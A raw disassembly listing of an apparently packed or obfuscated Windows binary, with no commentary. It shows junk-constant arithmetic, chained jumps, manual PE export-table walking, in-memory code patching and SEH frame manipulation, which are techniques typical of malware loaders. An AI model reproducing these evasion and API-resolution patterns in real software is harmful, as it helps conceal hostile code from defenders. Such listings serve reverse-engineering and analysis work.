sub_1001753F+7j jmp sub_100181E1 ; END OF FUNCTION CHUNK FOR sub_1001753F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B956 loc_1001AF78: ; CODE XREF: sub_1001B956:loc_1001AB1Fj jl loc_1001DD75 ; END OF FUNCTION CHUNK FOR sub_1001B956 ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001AF7E: ; CODE XREF: sub_10013389+F0j jmp loc_1001933E ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- loc_1001AF83: ; CODE XREF: an.kk9rg:loc_100164C8j push 0A46F3A34h rol edi, 11h xor eax, edi test ebp, eax jmp loc_1001DD6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D9A7 loc_1001AF94: ; CODE XREF: sub_1001D9A7+Dj jz loc_1001D928 jmp loc_1001DA3C ; END OF FUNCTION CHUNK FOR sub_1001D9A7 ; --------------------------------------------------------------------------- loc_1001AF9F: ; DATA XREF: sub_10018E91+9o xor eax, eax mov [ebp-0Ch], eax loc_1001AFA4: ; CODE XREF: an.kk9rg:10015235j cmp dword ptr [ebp-4], 0 jz loc_1001C0CC mov eax, [ebp-4] jmp loc_1001D287 ; --------------------------------------------------------------------------- add edx, 69990869h jmp sub_10015131 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100152C7 loc_1001AFC1: ; CODE XREF: sub_100152C7:loc_1001A59Cj cdq adc ebx, 472B7347h loc_1001AFC8: ; CODE XREF: sub_10016734:loc_10013B0Dj and eax, ebx jmp loc_1001C7EE ; END OF FUNCTION CHUNK FOR sub_100152C7 ; --------------------------------------------------------------------------- loc_1001AFCF: ; CODE XREF: an.kk9rg:loc_100153D8j not ecx or ebx, eax jmp loc_100197EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001AFD8: ; CODE XREF: sub_10017CF8-425Bj test edx, 5B487388h jmp loc_1001680C ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- loc_1001AFE3: ; CODE XREF: an.kk9rg:loc_10018DB4j or edx, 982F32Eh sub edx, 15142308h call sub_100184A9 loc_1001AFF4: ; CODE XREF: an.kk9rg:10019143j jmp loc_1001B6B3 ; --------------------------------------------------------------------------- loc_1001AFF9: ; CODE XREF: an.kk9rg:loc_10014312j jnz loc_100197EF jmp loc_100153D8 ; --------------------------------------------------------------------------- loc_1001B004: ; CODE XREF: an.kk9rg:loc_10018DC8j ; an.kk9rg:1001D30Ej mov eax, [ebp-8] call sub_1001B010 ; START OF FUNCTION CHUNK FOR sub_10014A76 loc_1001B00C: ; CODE XREF: an.kk9rg:loc_10014E33j ; sub_100156CB:loc_100176C5j ... mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_10014A76 ; =============== S U B R O U T I N E ======================================= sub_1001B010 proc near ; CODE XREF: sub_10013389+4307j ; an.kk9rg:1001B007p ; FUNCTION CHUNK AT 100146D2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 10016246 SIZE 00000005 BYTES push eax jmp loc_100146D2 sub_1001B010 endp ; --------------------------------------------------------------------------- push eax mov edi, edx jmp loc_1001A479 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_1001B01E: ; CODE XREF: sub_1001A6F7-4C46j jnz loc_10018DD3 jmp loc_10018299 ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001B029: ; CODE XREF: sub_100136D7+1B92j mov [ebp+0], edx loc_1001B02C: ; CODE XREF: sub_100136D7:loc_10014CFEj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10013734 jmp loc_1001C149 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001492C loc_1001B03D: ; CODE XREF: sub_1001492C+Cj js loc_10016753 sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10013967 jmp loc_10015527 ; END OF FUNCTION CHUNK FOR sub_1001492C ; --------------------------------------------------------------------------- loc_1001B057: ; CODE XREF: an.kk9rg:1001DA09j jnz loc_1001CEC4 adc ebp, 5A899974h jmp loc_10013829 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001B068: ; CODE XREF: sub_10019409:loc_100149BAj jl loc_1001CD70 loc_1001B06E: ; CODE XREF: sub_1001C84C+1j jmp loc_100166C8 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- sbb edx, 8214D5AEh jmp loc_1001CD68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A34 loc_1001B07E: ; CODE XREF: sub_10017A34:loc_10019F48j mov eax, ebx jmp loc_10018D68 ; END OF FUNCTION CHUNK FOR sub_10017A34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014698 loc_1001B085: ; CODE XREF: sub_10014698j mov ecx, [ebx+3Ch] mov ecx, [ebx+ecx+78h] push offset loc_1001B1F5 jmp loc_1001371A ; END OF FUNCTION CHUNK FOR sub_10014698 ; =============== S U B R O U T I N E ======================================= sub_1001B096 proc near ; CODE XREF: sub_1001CA40-51BBp ; an.kk9rg:1001C4D1j ; FUNCTION CHUNK AT 10014197 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001511E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015766 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10016CDF SIZE 00000019 BYTES ; FUNCTION CHUNK AT 1001702E SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100177D0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 10018ADF SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10018AFB SIZE 00000014 BYTES ; FUNCTION CHUNK AT 1001C233 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001CBC5 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx push 3807A0C2h pop edx xor edx, 6BAEFFD9h or edx, 0AEE89A7Ah jmp loc_1001511E sub_1001B096 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001B0B1 proc near ; CODE XREF: an.kk9rg:100140D6j ; sub_10015DB9-516p xchg edi, [esp+0] pop edi xor edx, 0ED206CB9h add edx, ebp add edx, 12D98367h push offset loc_10018BEA jmp nullsub_70 sub_1001B0B1 endp ; --------------------------------------------------------------------------- sbb ecx, 33877500h jmp sub_1001DAA8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001B0D8: ; CODE XREF: sub_1001CF40-3DA6j cdq test edi, ebp jmp loc_10018F6D ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_1001B0E0: ; CODE XREF: sub_1001C185:loc_10014E03j jo loc_1001CCE8 jmp loc_1001B777 ; END OF FUNCTION CHUNK FOR sub_1001C185 ; =============== S U B R O U T I N E ======================================= sub_1001B0EB proc near ; DATA XREF: sub_10014317:loc_1001C6DDo add edi, 1E2532EBh xchg edi, [esp+0] jmp sub_1001DBEB sub_1001B0EB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_1001B0F9: ; CODE XREF: sub_10016D04:loc_100181A5j jnp loc_1001728E jmp loc_100191BE ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001B104: ; CODE XREF: sub_10016D66+1A0Bj jo loc_1001B6AE jmp loc_1001C49E ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- loc_1001B10F: ; CODE XREF: an.kk9rg:1001CEB2j jnz loc_100186F8 ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_1001B115: ; CODE XREF: sub_1001BBDA-5ED7j jmp loc_1001481C ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_1001B11A: ; CODE XREF: sub_1001C185-7DA8j jmp sub_100185D4 ; END OF FUNCTION CHUNK FOR sub_1001C185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C529 loc_1001B11F: ; CODE XREF: sub_1001C529-91A5j jmp loc_1001C91C ; END OF FUNCTION CHUNK FOR sub_1001C529 ; --------------------------------------------------------------------------- sbb eax, edi jmp loc_10016BCA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_1001B12B: ; CODE XREF: sub_1001C2A9-2956j sub ebp, 0B39CE97Bh xchg ebp, [edx] xor eax, 195ADA23h jmp loc_1001D433 ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014DD9 loc_1001B13E: ; CODE XREF: sub_10014DD9+160Dj jge loc_1001A113 loc_1001B144: ; CODE XREF: sub_10014DD9:loc_100163CFj add eax, 0F2593239h add eax, ebp add eax, 8A4D72EDh push offset loc_100139D9 jmp nullsub_71 ; END OF FUNCTION CHUNK FOR sub_10014DD9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C2A9 loc_1001B15C: ; CODE XREF: sub_1001C2A9:loc_10017B88j xor eax, 19FD8280h sub eax, 3DB7935Dh xor eax, 123B48CFh add eax, ebp add eax, 0BA3D082Eh mov eax, [eax] loc_1001B178: ; CODE XREF: sub_10015CBE:loc_1001CFFFj call sub_100188EE call nullsub_2 mov dword ptr [ebp-4], 1 mov eax, 0 or eax, eax jz loc_1001D0B6 jmp loc_1001D45C ; END OF FUNCTION CHUNK FOR sub_1001C2A9 ; =============== S U B R O U T I N E ======================================= sub_1001B19B proc near ; DATA XREF: an.kk9rg:100148F2o xchg ebx, [esp+0] call sub_1001B1DD sub_1001B19B endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001725E loc_1001B1A3: ; CODE XREF: sub_1001725E+10j jmp loc_10018A46 ; END OF FUNCTION CHUNK FOR sub_1001725E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C28F loc_1001B1A8: ; CODE XREF: sub_1001C28F-7163j jmp sub_1001DBEB ; END OF FUNCTION CHUNK FOR sub_1001C28F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001B1AD: ; CODE XREF: sub_10015066-150Aj jmp loc_10017513 ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001B1B2: ; CODE XREF: sub_10016734:loc_1001D7B9j push 78EBD52Fh xchg ecx, [esp+4+var_4] mov edx, ecx pop ecx jmp loc_1001C4F7 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013BB8 loc_1001B1C3: ; CODE XREF: sub_1001BC80-3876j ; sub_10013BB8+722Ej mov eax, [ebp-108h] push 0D230E852h pop edx sub edx, 458A4F74h rol edx, 0Eh jmp loc_1001D029 ; END OF FUNCTION CHUNK FOR sub_10013BB8 ; =============== S U B R O U T I N E ======================================= sub_1001B1DD proc near ; CODE XREF: an.kk9rg:10014DD4j ; sub_1001B19B+3p xchg esi, [esp+0] pop esi mov ebp, esp push ebp mov ebp, ecx call sub_10014E66 sub_1001B1DD endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10016FA0 loc_1001B1EB: ; CODE XREF: sub_10016FA0+6833j jmp loc_10018C91 ; END OF FUNCTION CHUNK FOR sub_10016FA0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015D9E loc_1001B1F0: ; CODE XREF: sub_10015D9E+2F2j jmp loc_1001C33A ; END OF FUNCTION CHUNK FOR sub_10015D9E ; --------------------------------------------------------------------------- loc_1001B1F5: ; DATA XREF: sub_10014698+69F4o or ecx, ecx jz loc_10018866 mov ecx, [ebx+ecx+0Ch] or ecx, ecx push offset loc_10018B78 jmp loc_10019CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B8D3 loc_1001B20D: ; CODE XREF: sub_1001B8D3-42B7j mov eax, [ecx] ; END OF FUNCTION CHUNK FOR sub_1001B8D3 ; =============== S U B R O U T I N E ======================================= sub_1001B20F proc near ; CODE XREF: sub_1001DBEB:loc_100176D0p ; FUNCTION CHUNK AT 10013000 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001936C SIZE 00000020 BYTES ; FUNCTION CHUNK AT 1001A844 SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx jnb loc_10019376 mov ebp, esp call nullsub_5 loc_1001B220: ; CODE XREF: sub_100180C2:loc_1001DB6Ej mov eax, ds:dword_1001BC9C call sub_100174F4 jmp loc_1001936C sub_1001B20F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B22F: ; CODE XREF: sub_10013389+30E0j ; sub_10019595:loc_10016718j jb loc_100172EF pushf or ecx, 1AA2A69Bh jmp loc_10013967 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017667 loc_1001B241: ; CODE XREF: sub_10017667-3FAFj jz loc_100158DB jmp loc_10015EFC ; END OF FUNCTION CHUNK FOR sub_10017667 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_1001B24C: ; CODE XREF: sub_10014CDF+6C72j popf jns loc_100133C4 jmp loc_10015146 ; END OF FUNCTION CHUNK FOR sub_10014CDF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001B258: ; CODE XREF: sub_1001A54C:loc_1001C6F8j call sub_1001D951 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001B25D: ; CODE XREF: sub_10015BFC+Cj xchg ebx, [esp+8+var_8] mov esp, ebp pop ebp push 0B786D9DFh pop eax rol eax, 0Fh and eax, 0A141053Ah or eax, ds:100000C6h jmp loc_10013895 ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- loc_1001B27D: ; CODE XREF: an.kk9rg:1001AB68j jl loc_1001CB82 xchg ecx, ebx and ebx, esi add ecx, edi cdq jmp loc_10015B92 ; --------------------------------------------------------------------------- loc_1001B28F: ; DATA XREF: sub_10018352:loc_1001458Bo sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jmp loc_1001AD46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B29D: ; CODE XREF: sub_10013389:loc_10017AC7j push eax pop ebp push offset loc_100154B2 jmp loc_1001AE7E ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_1001B2A9 proc near ; CODE XREF: sub_10015E0D:loc_10019A22j retn sub_1001B2A9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014A06 loc_1001B2AA: ; CODE XREF: sub_10014A06+2FACj jmp loc_10013473 ; END OF FUNCTION CHUNK FOR sub_10014A06 ; --------------------------------------------------------------------------- loc_1001B2AF: ; CODE XREF: an.kk9rg:10014A45j jmp sub_100190DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C1BF loc_1001B2B4: ; CODE XREF: sub_1001C1BF+9j call sub_10018776 loc_1001B2B9: ; DATA XREF: sub_10014E17+2616o mov ds:dword_1001401C, eax ; END OF FUNCTION CHUNK FOR sub_1001C1BF ; START OF FUNCTION CHUNK FOR sub_1001B5A3 loc_1001B2BF: ; CODE XREF: sub_1001B5A3-2D9Ej ; an.kk9rg:1001A4B4j ror eax, 6 push offset loc_10016C4D jmp loc_100157E4 ; END OF FUNCTION CHUNK FOR sub_1001B5A3 ; =============== S U B R O U T I N E ======================================= sub_1001B2CC proc near ; CODE XREF: sub_1001B45F-16C3p ; an.kk9rg:1001D7DBj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10016058 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001A71F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001CA16 SIZE 00000011 BYTES xchg edx, [esp+0] loc_1001B2CF: ; CODE XREF: sub_1001B096-43ABj pop edx xor edx, edx push edx push eax loc_1001B2D4: ; CODE XREF: sub_1001CF40:loc_10018F6Dj mov eax, [ebp-8] jmp loc_1001A71F sub_1001B2CC endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001B2DC: ; CODE XREF: an.kk9rg:1001BA0Dj jno loc_10015A11 ; =============== S U B R O U T I N E ======================================= sub_1001B2E2 proc near ; CODE XREF: sub_10015B5D+28CDp ; FUNCTION CHUNK AT 10017826 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax call sub_1001ACEF jmp loc_10017826 sub_1001B2E2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001B2F0: ; CODE XREF: an.kk9rg:1001AEFBj ja loc_1001D570 ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_1001B2F6: ; CODE XREF: sub_1001D392:loc_1001394Cj xor edx, 0AEC971CCh add edx, 981F4727h mov [edx], eax pop edx retn ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A31 loc_1001B306: ; CODE XREF: sub_10018A31-B77j jmp loc_100153E7 ; END OF FUNCTION CHUNK FOR sub_10018A31 ; --------------------------------------------------------------------------- loc_1001B30B: ; CODE XREF: an.kk9rg:100144E3j jmp loc_1001BBF6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C26A loc_1001B310: ; CODE XREF: sub_1001C26A-46F3j rol eax, 0Dh push eax jmp nullsub_98 ; END OF FUNCTION CHUNK FOR sub_1001C26A ; =============== S U B R O U T I N E ======================================= sub_1001B319 proc near ; CODE XREF: an.kk9rg:10015175j ; an.kk9rg:100199E9p ; FUNCTION CHUNK AT 10017949 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10018CF8 SIZE 00000008 BYTES xchg eax, [esp+0] pop eax inc dword ptr [ebp-20h] mov eax, [ebp-20h] mov byte ptr [eax], 6Ch jmp loc_10017949 sub_1001B319 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001B32B: ; CODE XREF: sub_1001ABFD:loc_10017914j jnp loc_10019367 jle sub_10019886 test edi, 7FBEEE79h jmp loc_1001D0E5 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AE41 loc_1001B342: ; CODE XREF: sub_1001AE41:loc_100199EEj ; an.kk9rg:loc_1001D75Cj pop large dword ptr fs:0 add esp, 4 retn ; END OF FUNCTION CHUNK FOR sub_1001AE41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019473 loc_1001B34D: ; CODE XREF: sub_10019473+1582j jmp loc_10014EE6 ; END OF FUNCTION CHUNK FOR sub_10019473 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B352: ; CODE XREF: sub_10013389+1Cj jmp loc_100146DC ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001B357 proc near ; CODE XREF: sub_1001AB5Bp push large dword ptr fs:0 push offset sub_1001AE41 jmp nullsub_72 sub_1001B357 endp ; =============== S U B R O U T I N E ======================================= sub_1001B368 proc near ; CODE XREF: sub_100143F5+223Bj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10017509 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C1E0 SIZE 00000014 BYTES push ebp mov ebp, esi xchg ebp, [esp+4+var_4] push 4839C22Fh pop esi jmp loc_10017509 sub_1001B368 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001B379: ; CODE XREF: sub_1001537B+43D8j jb loc_10018086 push 4ACB0BA1h mov [eax], ecx jmp loc_1001B5F8 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ror ebx, 0Eh jmp sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100199B5 loc_1001B393: ; CODE XREF: sub_100199B5+Dj lea eax, sub_100190DC mov byte ptr [eax], 0C3h jmp loc_1001ADCB ; END OF FUNCTION CHUNK FOR sub_100199B5 ; =============== S U B R O U T I N E ======================================= sub_1001B3A1 proc near ; CODE XREF: an.kk9rg:loc_10018D0Aj ; DATA XREF: vyridizn:off_1000202Co var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10013019 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 1001329B SIZE 0000001A BYTES ; FUNCTION CHUNK AT 100136C3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018D1A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001A289 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 1001C30B SIZE 00000013 BYTES ; FUNCTION CHUNK AT 1001C5BE SIZE 0000001A BYTES ; FUNCTION CHUNK AT 1001CAFC SIZE 00000009 BYTES push ecx push 5E9E6286h pop ecx jmp loc_1001329B sub_1001B3A1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_1001B3AD: ; CODE XREF: sub_1001BBDA:loc_10014664j cmp eax, 38531391h jmp loc_1001DD51 ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_46. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A365 loc_1001B3B9: ; CODE XREF: sub_1001A365-1420j xchg ecx, [esp-8+arg_4] mov eax, ecx pop ecx push edi push 0A9B287ADh jmp loc_10019A9E ; END OF FUNCTION CHUNK FOR sub_1001A365 ; =============== S U B R O U T I N E ======================================= sub_1001B3CA proc near ; CODE XREF: an.kk9rg:10016E4Bj ; an.kk9rg:10016F75p ; FUNCTION CHUNK AT 1001417F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001762C SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001A3D7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001A7EE SIZE 00000013 BYTES xchg esi, [esp+0] pop esi cmp byte ptr [eax], 0F1h jnz loc_1001ABF5 jmp loc_1001A3D7 sub_1001B3CA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001B3DC: ; CODE XREF: sub_10018AB1:loc_10013947j xchg edx, [esp+4+var_4] mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_10017077 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- mov eax, 0B9726E5Ah call sub_100181E1 push offset sub_10013753 jmp loc_10016DB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ADAE loc_1001B3FE: ; CODE XREF: sub_1001ADAE+12j mov eax, [ebp-14h] mov eax, [eax+24h] add eax, [ebp-4] xor edx, edx push edx ; END OF FUNCTION CHUNK FOR sub_1001ADAE ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001B40A: ; CODE XREF: sub_1001498A:loc_10014088j push eax mov eax, [ebp-18h] jmp loc_100189E4 ; END OF FUNCTION CHUNK FOR sub_1001498A ; =============== S U B R O U T I N E ======================================= sub_1001B413 proc near ; CODE XREF: an.kk9rg:10013103j ; sub_100138FD+521Ap ; FUNCTION CHUNK AT 1001557C SIZE 00000003 BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-4] call nullsub_1 pop ecx jmp loc_1001557C sub_1001B413 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B982 loc_1001B425: ; CODE XREF: sub_1001B982:loc_1001A1D4j rol edi, 18h ; END OF FUNCTION CHUNK FOR sub_1001B982 ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001B428: ; CODE XREF: sub_10015BFC:loc_100176BAj add edi, 3E28DABh add edi, ebp add edi, 7BDB2239h mov [edi], eax pop edi mov eax, [ebp-4] jmp loc_100166CD ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001B441: ; CODE XREF: sub_100193F2+DD7j call sub_1001B9C1 test al, al push offset sub_1001853F jmp nullsub_112 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001B452: ; CODE XREF: sub_10018AB1-51C4j or esi, ebp jg loc_100173C2 jmp loc_10015F16 ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; =============== S U B R O U T I N E ======================================= sub_1001B45F proc near ; CODE XREF: sub_10016A1B-3059p ; an.kk9rg:1001A3A5j ; FUNCTION CHUNK AT 10019D99 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001CAAE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001D0DA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DA87 SIZE 00000001 BYTES xchg ebx, [esp+0] pop ebx loc_1001B463: ; CODE XREF: sub_1001CBA8:loc_10017F60j mov eax, [ebp-4] call sub_10019401 mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jle loc_10017338 jmp loc_10019D99 sub_1001B45F endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_1001B47D: ; CODE XREF: an.kk9rg:1001AB3Dj jb loc_100139BC or esi, edi jmp loc_10018D3E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A6D2 loc_1001B48A: ; CODE XREF: sub_1001A6D2-2798j nop mov eax, [esp+4+var_4] call sub_10018E56 loc_1001B493: ; CODE XREF: an.kk9rg:10014693j jmp loc_1001491B ; END OF FUNCTION CHUNK FOR sub_1001A6D2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100188EE loc_1001B498: ; CODE XREF: sub_100188EE+49E2j jz loc_1001CAE7 jmp loc_10018B0F ; END OF FUNCTION CHUNK FOR sub_100188EE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001B4A3: ; CODE XREF: sub_10018C4D:loc_1001902Bj add eax, [ebp-4] add eax, 18h mov [ebp-10h], eax ; END OF FUNCTION CHUNK FOR sub_10018C4D ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001B4AC: ; CODE XREF: sub_10016D66:loc_1001868Fj mov eax, [ebp-10h] jmp loc_10014DBE ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014317 loc_1001B4B4: ; CODE XREF: sub_1001886B+Cj pop edi xor edi, 99E123A4h and edi, 32CCFA7Fh xor edi, 0C11C39B8h jmp loc_1001C6DD ; END OF FUNCTION CHUNK FOR sub_10014317 ; =============== S U B R O U T I N E ======================================= sub_1001B4CC proc near ; DATA XREF: an.kk9rg:loc_1001C2CBo var_C = dword ptr -0Ch var_8 = dword ptr -8 ; FUNCTION CHUNK AT 100140DB SIZE 0000001E BYTES ; FUNCTION CHUNK AT 100153EF SIZE 00000013 BYTES ; FUNCTION CHUNK AT 10016770 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018022 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B998 SIZE 0000001E BYTES push ecx push ecx push 0EB778E8Dh xchg edi, [esp+0Ch+var_C] jmp loc_10016770 sub_1001B4CC endp ; --------------------------------------------------------------------------- push ebx push 1D1DADEDh pop ebx xor ebx, 0EB7A2CFh jnz loc_1001D8AE shl ecx, 8 xchg eax, [ebx] jmp loc_1001D8AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100152C7 loc_1001B4F8: ; CODE XREF: sub_100152C7:loc_100152D7j jz loc_1001C7EE jmp loc_1001A59C ; END OF FUNCTION CHUNK FOR sub_100152C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B503: ; CODE XREF: sub_10013389+4j mov eax, [ebp-4] push offset sub_10018901 jmp loc_10019690 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001B510: ; CODE XREF: sub_1001A97E:loc_100142E3j xor esi, edx jmp loc_100168C0 ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001B517: ; CODE XREF: sub_10019571+Ej pop ebp mov eax, ds:dword_1001D754 or eax, eax jnz loc_1001DB4B jmp loc_1001550C ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_1001B52B: ; CODE XREF: sub_100132E5:loc_10015C38j pop eax add eax, 1E94F5CCh rol eax, 0Eh sub eax, 0B9DF686h jmp loc_10015C5D ; END OF FUNCTION CHUNK FOR sub_100132E5 ; 